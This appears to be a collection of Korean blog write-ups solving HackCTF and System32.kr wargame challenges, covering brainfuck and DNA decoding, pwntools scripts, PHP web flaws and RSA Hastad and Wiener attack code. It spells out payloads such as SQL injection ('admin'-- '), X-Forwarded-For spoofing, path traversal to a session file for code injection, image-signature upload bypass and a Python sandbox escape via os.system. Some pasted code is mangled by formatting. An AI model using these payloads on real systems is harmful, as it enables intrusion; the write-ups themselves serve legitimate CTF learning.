반응형
반응형
반응형

Baseball Price 50

EZ

 

BF 50

-[------->+<]>-.[--->++++<]>+.++.++++++++.[->+++<]>++.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[-->+++++<]>.----------.---[->+++<]>+.--------------.[--->+<]>-.------------.[-->+<]>---.-[----->+<]>--.---.-[-->+<]>----.-[----->+<]>--.[-->+<]>-.------[->++<]>-.-[->++++++<]>.---[->++<]>.[-->+<]>-.+[--->++<]>-.-.+[->+++<]>.[--->+<]>-.------------.[-->+<]>-.---[->++<]>-.[--->+<]>+.-.---------.++.[-->+<]>----.++++++[->++<]>.[-->+<]>-----.---[->++<]>.[-->+<]>.+++++[->++<]>.[-->+<]>-----.[--->++<]>--.+++++.[->+++++<]>++.-[->++++++<]>.+++[->++<]>.[-->+<]>---.++[->++<]>.-[--->+<]>.-[++>---<]>+.----.++++.-----[->++<]>-.---[->++++<]>.++.--[->+++++<]>.+++++[->++<]>.[-->+<]>--.-[->++<]>-.-[--->+<]>--.+++++++++.

brainfuck이다.

 

HackCTF{1'm_th1nk1n6_4b0ut_th3_vuln3r4b1l1ty_4n4ly515_pr0j3ct}

 

 

Who am I?

답 : ret

 

 

QRCODE

150

 

4개의 사각형 내부가 하얀색으로 비워져 있다. 그림판으로 해당 부분을 검정으로 채우고 읽으면 된다.

 

 

 

 

달라란 침공

150

nc ctf.j0n9hyun.xyz 9003

 

 

 

1, 2, 3 모두 계산해야 되는 식들이 나온다.

식의 결과값을 입력해주면 된다.

1은 20개 2는 30개 3은 40개의 문제가 있다.

 

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 9003)
p.recvuntil("input ) ")
p.sendline("1")
p.recvline()
for zzzz in range(0,20):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("2")
p.recvline()
for zzzz in range(0,30):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("3")
p.recvline()
for zzzz in range(0,40):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())
p.interactive()

 

DNA

200

GTCATAATGCCGGGACTTGGT{ACATTC_CAGAAAAAAATT_GGCTATTCT}

 

 

구글에 ctf dna cryptography 라고 검색을 했다.

 

https://embeddedworld.home.blog/2019/05/16/hacking-walkthrough-ctf-challenge/

이 블로그에서 dna cryptography 부분을 보면 된다.

 

이 블로그에 나와있는 소스코드를 가져다 돌렸다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
mappings = {
    'AAA' : 'a',
    'AAC' : 'b',
    'AAG' : 'c',
    'AAT' : 'd',
    'ACA' : 'e',
    'ACC' : 'f',
    'ACG' : 'g',
    'ACT' : 'h',
    'AGA' : 'i',
    'AGC' : 'j',
    'AGG' : 'k',
    'AGT' : 'l',
    'ATA' : 'm',
    'ATC' : 'n',
    'ATG' : 'o',
    'ATT' : 'p',
    'CAA' : 'q',
    'CAC' : 'r',
    'CAG' : 's',
    'CAT' : 't',
    'CCA' : 'u',
    'CCC' : 'v',
    'CCG' : 'w',
    'CCT' : 'x',
    'CGA' : 'y',
    'CGC' : 'z',
    'CGG' : 'A',
    'CGT' : 'B',
    'CTA' : 'C',
    'CTC' : 'D',
    'CTG' : 'E',
    'CTT' : 'F',
    'GAA' : 'G',
    'GAC' : 'H',
    'GAG' : 'I',
    'GAT' : 'J',
    'GCA' : 'K',
    'GCC' : 'L',
    'GCG' : 'M',
    'GCT' : 'N',
    'GGA' : 'O',
    'GGC' : 'P',
    'GGG' : 'Q',
    'GGT' : 'R',
    'GTA' : 'S',
    'GTC' : 'T',
    'GTG' : 'U',
    'GTT' : 'V',
    'TAA' : 'W',
    'TAC' : 'X',
    'TAG' : 'Y',
    'TAT' : 'Z',
    'TCA' : '1',
    'TCC' : '2',
    'TCG' : '3',
    'TCT' : '4',
    'TGA' : '5',
    'TGC' : '6',
    'TGG' : '7',
    'TGT' : '8',
    'TTA' : '9',
    'TTC' : '0',
    'TTG' : ' ',
    'TTT' : '.'
    }
 
= "GTCATAATGCCGGGACTTGGTACATTCCAGAAAAAAATTGGCTATTCT"
flag = []
 
#Mapping
for x in range(0,len(f),3):
    piece = f[x:x+3]
    flag.append(mappings[piece])
 
print (''.join(flag))
 
cs

 

나온 결과 : TmowOFRe0saapPZ4

{, _, } 을 다시 붙여준다.

 

TmowOFR{e0_saap_PZ4}

플래그 형식 HackCTF와 대소문자 형태는 같다.

caesar를 돌리면 플래그가 나온다.

 

탈옥

250

nc ctf.j0n9hyun.xyz 9002

 

 

builtins 모듈에서 import를 가져오고 os모듈을 import해서 os모듈의 system함수를 가져와 실행한다.

import와 system은 .lower()로 우회

반응형
반응형

/ 50

로봇 이미지가 있다.

로봇...로봇...로봇...robots.txt?!

robots.txt의 내용

역시나..

해당 페이지로 이동하면 플래그가 나온다.

FLAG : HackCTF{w3lcome_to_s1mple_web_h3cking!}

 

 

Hidden 50

5번 파일에 플래그가 있다고 한다.

페이지에는 1번부터 4번까지의 버튼이 있다.

버튼을 클릭하면 http://ctf.j0n9hyun.xyz:2023/?id=1 로 이동하는 것을 알 수 있고, 여기서 id 값을 5로 입력해 주면 플래그가 나온다.

FLAG : HackCTF{idx_is_so_s1m3le_ctf}

 

 

Button 50

페이지 소스를 까서 submit의 value값을 button에서 flag로 변경해주고 버튼을 클릭하면 플래그가 출력된다.

FLAG : HackCTF{0k4y...php_c4nn0t_cr34t3_4_butt0n}

 

 

보물 100

page 값에 모든 정수값을 대입해봐야 하는 것 같다.

burp suite을 이용해서 1부터 10000 까지 시도하도록 했고, 중간에 길이가 다른 응답이 날라와서 확인해 보니 플래그가 있었다.

burp suite을 이용했다.

FLAG : HackCTF{0hhhhh_5o_g0od_try!}

 

 

Guess me 100

게싱문제는 아니다.

$filename의 값을 'secret.txt'로 선언한 뒤에 extract($_GET);을 이용해 값을 받고 있다.

따라서 우리는 $filename의 값을 바꿀 수 있고, $filename의 값을 아무 값으로 변경해 준다면, 해당 파일은 존재하지 않을 것이므로 -> guess에 아무 값도 입력해주지 않는다면 $guess === $secretcode 가 TRUE가 되어 플래그가 나올 것이다.

 

http://ctf.j0n9hyun.xyz:2030/?filename=1&guess=

성공이다.

 

FLAG : HackCTF{3xtr4c7_0v3rr1d3ds_pr3vi0u5_kn0wn_v4r1abl35}

 

 

Read File 100

http://ctf.j0n9hyun.xyz:2021/flag.php -> Access Denied

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flag.php -> X

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flflagag.php -> Access Denied

 

flag 문자열이 필터링 되고 있음을 확인. 권한을 얻기 위해 localhost로 바꿔준다.

 

http://ctf.j0n9hyun.xyz:2021/?command=http://127.0.0.1:2021/flflagag.php -> X

잉? 내가 알고 있는 문제랑은 조금 다른 것 같다.

 

http://ctf.j0n9hyun.xyz:2021/?command=flflagag.php -> 성공

flag is HackCTF{w3lcome_to_vu1n_web?}

 

 

Login 100

첫 페이지에 있는 view source를 클릭해서 php 소스를 보자.

sqli를 시도해보면 될 것 같다. 어떤 id를 사용해야 하는지는 안나와있지만, admin을 id로 사용하면 될 것 같은 느낌이다.

id = admin'-- '

pw = 1234

Flag is HackCTF{s1mple_sq1_1njecti0n_web_hack!!}

 

 

마법봉 100

일단 소스를 보자

바로 보고 매직 해시 문제임을 알아야 한다.

매직 해시 리스트에서 해당 값을 찾아서 어떤 값을 넣어야 할지 찾아내면 끝.

https://www.whitehatsec.com/blog/magic-hashes/

 

Magic Hashes | WhiteHat Security

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form

www.whitehatsec.com

 

FLAG : HackCTF{magic_makes_everything_possible}

 

 

 

Time 150

2달 하고도 1초 더 기다리면 플래그를 얻을 수 있다! 기다리기만 하면 되는 개꿀문제

사실 is_numeric함수에서 지수형태 5.184001e6를 이용해 통과하고

그 다음 조건문들은 5.184001e6의 계산값 5184001으로 통과되며, sleep함수에서 int형으로 변환 될 때 5.184001e6은 5로 변환되어 5초만 기다리면 플래그를 얻을 수 있다.

flag is HackCTF{1_w4nt_t0_sp3nd_m0r3_t1m3

 

 

Input Check 150

페이지 소스를 보면 힌트가 있다.

그래서 변수를 배열로 줬더니 플래그가 나왔다.

http://ctf.j0n9hyun.xyz:2033/?text[]=flag

HackCTF{y0u_are_catch_f1ag!!}

 

 

Home 200

문제 페이지를 보면, 내 ip가 나오고, 힌트로 머리말을 생각하라고 한다. 머리말 == header

header에 x-forward-for을 추가해 주면 된다.

curl --header "X-Forwarded-For: 127.0.0.1" http://ctf.j0n9hyun.xyz:2034 

curl은 윈도우 cmd에서도 잘 된다.

 

flag is HackCTF{U5u4lly_127.0.0.1_4ll0w5_y0u_t0_p4ss}

 

 

 

가위바위보 200 

가위바위보 게임을 이용해서 플래그를 구하는건가 싶어, 소스를 뒤져보았지만 플래그랑은 관련이 없는 것을 알 수 있었다.

 그다음 루트는 프로필 이미지를 변경할 때 파일업로드 취약점쪽이다.

 

프로필이미지 파일명이 저기 이름으로 등록되는데

이 이름이 .php로도 변경이된다.

 

파일에 php파일을 넣으면 a.php로 이동해서 php 실행이 가능하다.

 

이미지 검증은 이미지 시그니쳐를 삽입함으로써 우회한다.

 

 

Cookie 300

cookie라는 쿠키의 값을 base64로 3번 디코딩하면 아래 문자열이 나온다.

{"id":"2","type":"guest"}

일단 id를 1로, type을 admin으로 바꿔주고 base64로 3번 인코딩해보았다.

PassAdmin검증은 php strcmp 배열 취약점을 사용하여 우회하면 된다.

 

 

 

LOL

300

 

로컬로 flag.php에 접속해야하나 보다.

ssrf와 local ip 우회를 사용하자

url@realurl

 

Authenticate

350

로그인인가

 

뭔가 있다.

id 9자리 cresponse 넣고

eval 대신에 alert 돌리니까

여기서 9자리 string을 뽑는다.

dumbh4ck5

 

이걸 username으로 넣고 돌리니 코드가 나왔다.

XorIsNotSooS3cur3 패스워드 겟

 

 

Wise Saying

350

 

음 또 로그인?

뭘로 로그인하든 로그인이 된다.

lfi인가

 

근데 say로 안끝나면 욕한다.

 

phpinfo를 주네

 

/tmp/sess_[value]

세션쿠키값뒤에 say 붙여서 로그인하고 lfi

index.php?page=../../../../../tmp/sess_2b86721cb6a9e6334eb6d1b97a5dd3basay

된다.

이제 아이디에 php코드를 삽입하자.

 

반응형
반응형

System32.kr

RSA106 풀이

 

이번에는 작은 e값과 다른 n값이 주어질 때다.

 

문제를 보면 n, c값이 각각 7개가 주어진다.

 

n0 = 10022036265379037873283606776808482557866459308090111534883940865718177639983512662119342281119416241158033537298567286851709556229498058859877121683228774596682463530354223972067629198444968982788922250713559891865919261816911330848802614913631706032562776893224597357355324255263321117746371249374897281379618765006492730806494403308111072966637211560823960482878492897669436775113233218090173773953205373859777529204336743904524724605913439667291642450283502539056317167865950955271726411160185108661710605305209881749978968104668372320740311039079195405595564405545553067816984977942352952679613295335945453198237
e0 = 7
c0 = 7391172673494652807685679927464443742804469716124686497937352685631944739927403334100753118718810827819939551249092644730733640887813475157863909267732710966904033874563749607452101004880603517576015117231543666882714876053816889315304434716583902097326869862769223330226929267650196146699723546298777721549327230579524043853731525842228354074211952590809573512193002908675659981910521560218722078118583409532890190350278993572874200629804040761922640444870232404736174533503458666401049021690701120014711135662159756073554655169987524174160454336199103732766648969310872094773896573037726906071280884398964499625020
n1 = 5466545789924978392117734846441651025566944649290017587961487324101229594609777422305368037344954585418241587633957551279641772525768764611188988227720597556634650034264505822514430445671371902394845226110100975570935303274836520009041255673258743208173396958290432905543148641745168024380646078191379194650244323448918977124653886707963511968894925605598683697007725355334218510153808020236986866621440493131392397106674236875719949237921916816824901951782815445968997182425608119302657645645838081847911729329333764403590828687896595484627953582720022494684431177689169562431514156723717431880081981556861583018517
e1 = 7
c1 = 2843216698827041985234155126413219625102551967694195507616270458944256794024725727982775312996964360225107871298400288303715856835949437523897251998356574507142899492557143968158430397540293189973986706379386430519381858403628687144765951766733259166975201698201001559608435647196300391229794290104430338488390377935687114237067952186727947306540592887865659962691657932063711547531829312199823488118775597548579002212505954186919111624039557627729228692097539779090276034544147566301508294383730646789567286167983001460941761651651550106133788841812817514137482151210600991083197714286954280138543861307503606716687
n2 = 5216273350923762348996819172932047657740263255248423536832070896504436079290996116053910458202206066607495080005143242081376348478552546332314483414339219088245406077072653291793201707938210052137737032136008691204273974883871392886847900590411035963981133018158012140770585855836554605968542686051767074445169576528595295868833612083435959789899465479063315706805137423972403304919456897675923521668190245644201632092213606749130854730067502251227674778549657054487536558408785381601255488927062660442522496864532745842104460605804514922118066012819002689049981557892095296223518873642160006462186453091627377846719
e2 = 7
c2 = 2302840660982990706559514467752282608279989971179438892300937945447548784136021634663470424995563089657378083878340327507907273677046617011731588253183115962507981205380038591937454135692479378461272309601984068994340223460110011927750428790367899740123933101545519333275378177450046677349361228228756023343552737751276656981842493825940592644061106798477517795237715348144352954728534699021231559916391882314536204099649751257130666668855055343556693412599766542087842727824032038771853002304289245363376208213623603995010083510086051017014020583014841158059684157033215101586049552797894220844380611133865673630801
n3 = 23877677498268410284879275681599753946472064168982107017698987574875291853430610166705520818854679284024035965166084667071782959877626088875201104444061372210767667483286033873186027043018865270765379778972734594727020084433542927434622162385031073045949543728094450158066806302710336945902706311444702067892897382023369572561933840697091647190739941807440726157963736515169755622514090303488227644584510175870987096541366007967982302476854613123392400570876217436169696368690150208874814955767774660004903549034030453797617219708937501949676157124852802614561580437881345741238143591504284958256829966154954860310643
e3 = 7
c3 = 21542650580244090952784375188737468745448203348922868429406196302086271073676866277485976451720227641278427496915785578412784529024335740676758107987503859146577358215708248682437455044274509620470752764937668805057881069241160619380098319880566533327878406656365405208233812965208982731078254898819598904848966997244978017829737683687504578693319927257965587343277686790692897770069007188699761774062935389828173866322096724684461746266895396261083359145450376711339892131239899937109104845549497760224715797430549267596702844680269969086579967938513817206661072633561450576990683873838952925270459005180113251070249
n4 = 14095304106189288640829933284328100925981109805290171926596523882500992828050689610054551419208961617895244032677408948518722739184220513962788253695294440224817835843547289773514113860609727834208120554675150777100035341397359695754443831969620545126239117460426602273999534524462242741389375433175237422632997941648269022097426901783701566115072520388843879171454672942810241915423341751813855234874758865121037886735845464875242609743056346324057991215234482527871877337706502944703023808957350962273199545033462807203671480858363579332623386369851297631986187711675134368500976725781503614885257984375549898158689
e4 = 7
c4 = 5841298358718613696062311056221508337701416292725004974138314539876150378702426703549430117040191903647122061403407396288001626124108215908094632322171004807595060730467760110047822011747633210272450557602443585240325321882265082987790788937409746656818781811819115452970840966600299402274664167896074281874767663751931697405940475209595160606989446399735956632932740140774120362773964862067823210273048778380937955790417026758705126758582714675929109140032046187572583702405164513719448544031934183587141634161632757693697249167749952737814924049718225194470053426092226496663009906557955566430066736079650924094775
n5 = 2805822354201662117320594043711993782804865769293499426012360087817858551003001395302163740603703828195195932459444805174556152674013174027197071452536007720377642902614079800876454139985267840390802982000981391589121247087945323071621814892873054291187100453510563927190923456819020327967812411342557586095287060637718034456241630931342321644065932761169946330107762168341828247523519427454538373734712173180277190763105614286976239296025622448068573996830818370176355468420604889972971911137825122031079799394840034520000378583048365213663261323826755042085539056699658078298352991498848183741926741253336809983081
e5 = 7
c5 = 1840296233218477853481534562215626625414182376149520279565477106636326502423629202398872352247072974928247089059258779616805363438919346177179751144150840146502100528681001973857981344372271699254564085124019490542816704779558116713918712764905289545904746631301089653173086838314931849726257101196974182707388814949943497825270433233859953596462571591644141313685767121169211812959266024665387037379326240471760061808331954030889737904363024686917008151847474903564630772753685195974245871917099262116749552267414561620711561171348300446183668428521497810537883987976853838751652062973640912281502768323552961119727
n6 = 25454009749168470343695633209096091829115329722572151778843118833425745470034996921255287732666381145235781038972818879902175747917173596391714646458631517429967987558853821226063117620100131280109980358660151611745478185529770001530290709260636770225215186800776097876644514962324976911466656250316831758848397129882568596479711529118559633884457580705072157006277242414838614921959845416195868135339484150235079747708585021249992266719965641249640344662274664797188479304252760363884135230450876493335745378727727079727827645384850449255019980920544237025044248135670516643488962958548195014144666470074377908386063
e6 = 7
c6 = 789032093589329919433103064912734499692800138044594105985741187192587133548423627123979828515942204884228205644612915396782678903901468096055669312556620684388723470685365523376229767716532460150705694588934426363146781448912873886792079146178749619507171787017137430583992061952004088013585625578578697225347700205144867425958935656640766720643294601810945228322481781587820554087577038637902482084286507222529109418279162740318995563410236088568237694026601631788889001088963413678782229872782538151806577918829849586853938669782376616395525544507480942096894639889844916812413303666411186051339002485237155449662

 

http://blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221441769257&parentCategoryNo=&categoryNo=46&viewDate=&isShowPopularPosts=true&from=search

 

RSA for CTF

1. d 값 계산복호화를 하기 위해 d 값이 필요한데, e 값이 주어지고 d 값을 모르는 경우가 대부분이다.e * ...

blog.naver.com

'5. 하스타드 공격'에 나와있는 코드를 수정하여 문제를 풀었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import binascii
from Crypto.PublicKey import RSA
from base64 import b64decode
 
print "\n"
print "\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
print "\t        RSA Hastad Attack         "
print "\t         JulesDT -- 2016          "
print "\t         License GNU/GPL          "
print "\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
 
def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
 
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 01
    if b == 1return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1
 
def find_invpow(x,n):
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**< x:
            low = mid
        elif high > mid and mid**> x:
            high = mid
        else:
            return mid
    return mid + 1
 
def parseC(argv, index, verbose):
    import string
    file = open(argv[index],'r')
    cmd = ' '.join(argv)
    fileInput = ''.join(file.readlines()).strip()
    if '--decimal' in cmd:
        if verbose:
            print "##"
            print "##",fileInput
            print "## Considered as decimal input"
            print "##"
        return long(fileInput)
    elif '--hex' in cmd:
        if verbose:
            print "##"
            print "##",fileInput
            print "## Considered as hexadecimal input"
            print "##"
        return long(fileInput,16)
    elif '--b64' in cmd:
        if verbose:
            print "##"
            print "##",fileInput
            print "## Considered as base64 input"
            print "##"
        return long(binascii.hexlify(binascii.a2b_base64(fileInput)),16)
    else:
        try:
            fileInput = long(fileInput)
            if verbose:
                print "##"
                print "##",fileInput
                print "## Guessed as decimal input"
                print "##"
            return long(fileInput)
        except ValueError:
            if all(c in string.hexdigits for c in fileInput):
                if verbose:
                    print "##"
                    print "##",fileInput
                    print "## Guessed as hexadecimal input"
                    print "##"
                return long(fileInput,16)
            else:
                if verbose:
                    print "##"
                    print "##",fileInput
                    print "## Guessed as base64 input"
                    print "##"
                return long(binascii.hexlify(binascii.a2b_base64(fileInput)),16)
            pass
 
def parseN(argv,index):
    file = open(argv[index],'r')
    fileInput = ''.join(file.readlines()).strip()
    try:
        fileInput = long(fileInput)
        return fileInput
    except ValueError:
        from Crypto.PublicKey import RSA
        return long(RSA.importKey(fileInput).__getattr__('n'))
        pass
 
 
if __name__ == '__main__':
    e = 7
 
    n1 = 10022036265379037873283606776808482557866459308090111534883940865718177639983512662119342281119416241158033537298567286851709556229498058859877121683228774596682463530354223972067629198444968982788922250713559891865919261816911330848802614913631706032562776893224597357355324255263321117746371249374897281379618765006492730806494403308111072966637211560823960482878492897669436775113233218090173773953205373859777529204336743904524724605913439667291642450283502539056317167865950955271726411160185108661710605305209881749978968104668372320740311039079195405595564405545553067816984977942352952679613295335945453198237
    n2 = 5466545789924978392117734846441651025566944649290017587961487324101229594609777422305368037344954585418241587633957551279641772525768764611188988227720597556634650034264505822514430445671371902394845226110100975570935303274836520009041255673258743208173396958290432905543148641745168024380646078191379194650244323448918977124653886707963511968894925605598683697007725355334218510153808020236986866621440493131392397106674236875719949237921916816824901951782815445968997182425608119302657645645838081847911729329333764403590828687896595484627953582720022494684431177689169562431514156723717431880081981556861583018517
    n3 = 5216273350923762348996819172932047657740263255248423536832070896504436079290996116053910458202206066607495080005143242081376348478552546332314483414339219088245406077072653291793201707938210052137737032136008691204273974883871392886847900590411035963981133018158012140770585855836554605968542686051767074445169576528595295868833612083435959789899465479063315706805137423972403304919456897675923521668190245644201632092213606749130854730067502251227674778549657054487536558408785381601255488927062660442522496864532745842104460605804514922118066012819002689049981557892095296223518873642160006462186453091627377846719
    n4 = 23877677498268410284879275681599753946472064168982107017698987574875291853430610166705520818854679284024035965166084667071782959877626088875201104444061372210767667483286033873186027043018865270765379778972734594727020084433542927434622162385031073045949543728094450158066806302710336945902706311444702067892897382023369572561933840697091647190739941807440726157963736515169755622514090303488227644584510175870987096541366007967982302476854613123392400570876217436169696368690150208874814955767774660004903549034030453797617219708937501949676157124852802614561580437881345741238143591504284958256829966154954860310643
    n5 = 14095304106189288640829933284328100925981109805290171926596523882500992828050689610054551419208961617895244032677408948518722739184220513962788253695294440224817835843547289773514113860609727834208120554675150777100035341397359695754443831969620545126239117460426602273999534524462242741389375433175237422632997941648269022097426901783701566115072520388843879171454672942810241915423341751813855234874758865121037886735845464875242609743056346324057991215234482527871877337706502944703023808957350962273199545033462807203671480858363579332623386369851297631986187711675134368500976725781503614885257984375549898158689
    n6 = 2805822354201662117320594043711993782804865769293499426012360087817858551003001395302163740603703828195195932459444805174556152674013174027197071452536007720377642902614079800876454139985267840390802982000981391589121247087945323071621814892873054291187100453510563927190923456819020327967812411342557586095287060637718034456241630931342321644065932761169946330107762168341828247523519427454538373734712173180277190763105614286976239296025622448068573996830818370176355468420604889972971911137825122031079799394840034520000378583048365213663261323826755042085539056699658078298352991498848183741926741253336809983081
    n7 = 25454009749168470343695633209096091829115329722572151778843118833425745470034996921255287732666381145235781038972818879902175747917173596391714646458631517429967987558853821226063117620100131280109980358660151611745478185529770001530290709260636770225215186800776097876644514962324976911466656250316831758848397129882568596479711529118559633884457580705072157006277242414838614921959845416195868135339484150235079747708585021249992266719965641249640344662274664797188479304252760363884135230450876493335745378727727079727827645384850449255019980920544237025044248135670516643488962958548195014144666470074377908386063
 
    c1 = 7391172673494652807685679927464443742804469716124686497937352685631944739927403334100753118718810827819939551249092644730733640887813475157863909267732710966904033874563749607452101004880603517576015117231543666882714876053816889315304434716583902097326869862769223330226929267650196146699723546298777721549327230579524043853731525842228354074211952590809573512193002908675659981910521560218722078118583409532890190350278993572874200629804040761922640444870232404736174533503458666401049021690701120014711135662159756073554655169987524174160454336199103732766648969310872094773896573037726906071280884398964499625020
    c2 = 2843216698827041985234155126413219625102551967694195507616270458944256794024725727982775312996964360225107871298400288303715856835949437523897251998356574507142899492557143968158430397540293189973986706379386430519381858403628687144765951766733259166975201698201001559608435647196300391229794290104430338488390377935687114237067952186727947306540592887865659962691657932063711547531829312199823488118775597548579002212505954186919111624039557627729228692097539779090276034544147566301508294383730646789567286167983001460941761651651550106133788841812817514137482151210600991083197714286954280138543861307503606716687
    c3 = 2302840660982990706559514467752282608279989971179438892300937945447548784136021634663470424995563089657378083878340327507907273677046617011731588253183115962507981205380038591937454135692479378461272309601984068994340223460110011927750428790367899740123933101545519333275378177450046677349361228228756023343552737751276656981842493825940592644061106798477517795237715348144352954728534699021231559916391882314536204099649751257130666668855055343556693412599766542087842727824032038771853002304289245363376208213623603995010083510086051017014020583014841158059684157033215101586049552797894220844380611133865673630801
    c4 = 21542650580244090952784375188737468745448203348922868429406196302086271073676866277485976451720227641278427496915785578412784529024335740676758107987503859146577358215708248682437455044274509620470752764937668805057881069241160619380098319880566533327878406656365405208233812965208982731078254898819598904848966997244978017829737683687504578693319927257965587343277686790692897770069007188699761774062935389828173866322096724684461746266895396261083359145450376711339892131239899937109104845549497760224715797430549267596702844680269969086579967938513817206661072633561450576990683873838952925270459005180113251070249
    c5 = 5841298358718613696062311056221508337701416292725004974138314539876150378702426703549430117040191903647122061403407396288001626124108215908094632322171004807595060730467760110047822011747633210272450557602443585240325321882265082987790788937409746656818781811819115452970840966600299402274664167896074281874767663751931697405940475209595160606989446399735956632932740140774120362773964862067823210273048778380937955790417026758705126758582714675929109140032046187572583702405164513719448544031934183587141634161632757693697249167749952737814924049718225194470053426092226496663009906557955566430066736079650924094775
    c6 = 1840296233218477853481534562215626625414182376149520279565477106636326502423629202398872352247072974928247089059258779616805363438919346177179751144150840146502100528681001973857981344372271699254564085124019490542816704779558116713918712764905289545904746631301089653173086838314931849726257101196974182707388814949943497825270433233859953596462571591644141313685767121169211812959266024665387037379326240471760061808331954030889737904363024686917008151847474903564630772753685195974245871917099262116749552267414561620711561171348300446183668428521497810537883987976853838751652062973640912281502768323552961119727
    c7 = 789032093589329919433103064912734499692800138044594105985741187192587133548423627123979828515942204884228205644612915396782678903901468096055669312556620684388723470685365523376229767716532460150705694588934426363146781448912873886792079146178749619507171787017137430583992061952004088013585625578578697225347700205144867425958935656640766720643294601810945228322481781587820554087577038637902482084286507222529109418279162740318995563410236088568237694026601631788889001088963413678782229872782538151806577918829849586853938669782376616395525544507480942096894639889844916812413303666411186051339002485237155449662
 
    n = [n1,n2,n3,n4,n5,n6,n7]
    a = [c1,c2,c3,c4,c5,c6,c7]
 
    result = (chinese_remainder(n, a))
    resultHex = str(hex(find_invpow(result,e)))[2:-1]
    print ""
    print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
    print "Decoded Hex :\n",resultHex
    print "---------------------------"
    print "As Ascii :\n",resultHex.decode('hex')
    print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
 
cs

 

FLAG : FLAG{}

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA107] 풀이  (0) 2021.01.18
System32.kr [EZB64] 풀이  (0) 2019.12.28
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
System32.kr [RSA103] 풀이  (0) 2019.05.19
반응형

System32.kr

RSA104 풀이 : e가 매우 큰 경우

 

 

RSA와 관련하여 다양한 공격들이 정리되어 있는 포스트 :

 

http://blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221441769257&parentCategoryNo=&categoryNo=46&viewDate=&isShowPopularPosts=true&from=search

 

RSA for CTF

1. d 값 계산복호화를 하기 위해 d 값이 필요한데, e 값이 주어지고 d 값을 모르는 경우가 대부분이다.e * ...

blog.naver.com

 

n : 3032477561712159969038624247612606302727093197744745572360777744993048030579151290131884950670071512201722458811242592707243074323418373868073398996531180136126242688542841461913438478172053913773719857973056957510415089185531311916330433139160859155532409659622858101341629671133093910407988882203728644794239348874379289178268208136028146328608462805956004322306707963431825015814504527120066991706462521947050575789728072629790386979812591216920320695619189898158302924158362481320767791340177005794951187859952230300784183151549243274733552565133526078458260073961873518009693814714967027162359505297313081834097
e : 1284326209972781865603077160971589716597082902272211399147338196589345961573850891014620874113849550830317643345862732752124534686326463252899962000181188143162889928709347890165345017914959645496102666603718956753486894961504533642515954173645086524281277713918605331772209589332254176733343767685347067353884996601325356300748766439627935771840516032698936889600866124222228999743139709077148311384874536127451456213137422854764346519585961972790189180618601186990003649947864963747868420118048077351758919340934501383717797396822778472985089935849274746400142421412113278085759384358033116596950545779218825432105
c : 1806317310369980009932706441907756891122685977239032637376117653939592629181132498482038670618195984694250867867129559863693561069046351110958045303559854954588234447977692922829988785926862451801584819310702407585491177718755152055518733553927421577214740347956274468684747058682785453167186126384869898095355009620193273626895484591988153555158110880196986268949355968500092832237411654394295951441648748044375864656268901973180401377014754165200068392806529746504801815744345095507516459256483869799173054189822960434563127784898151685448212418354649354925633786590825084141495329161421555698179241894408873422390

 

e가 매우 크므로 위너 공격을 사용하면 된다. 위에 올려둔 포스트대로 코드를 수정하여 사용했다.

 

그러면 d값을 구할 수 있다. 

Hacked!
D = 1235441821

 

복호화 작업

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def powermod4(a, b, n):
    if b == 1:
        return a % n
    r = powermod4(a, b / 2, n)
    r = r * r % n
    if (b & 1== 1:
        r = r * a % n
    return r
#c^d mod N
#a^b mod c
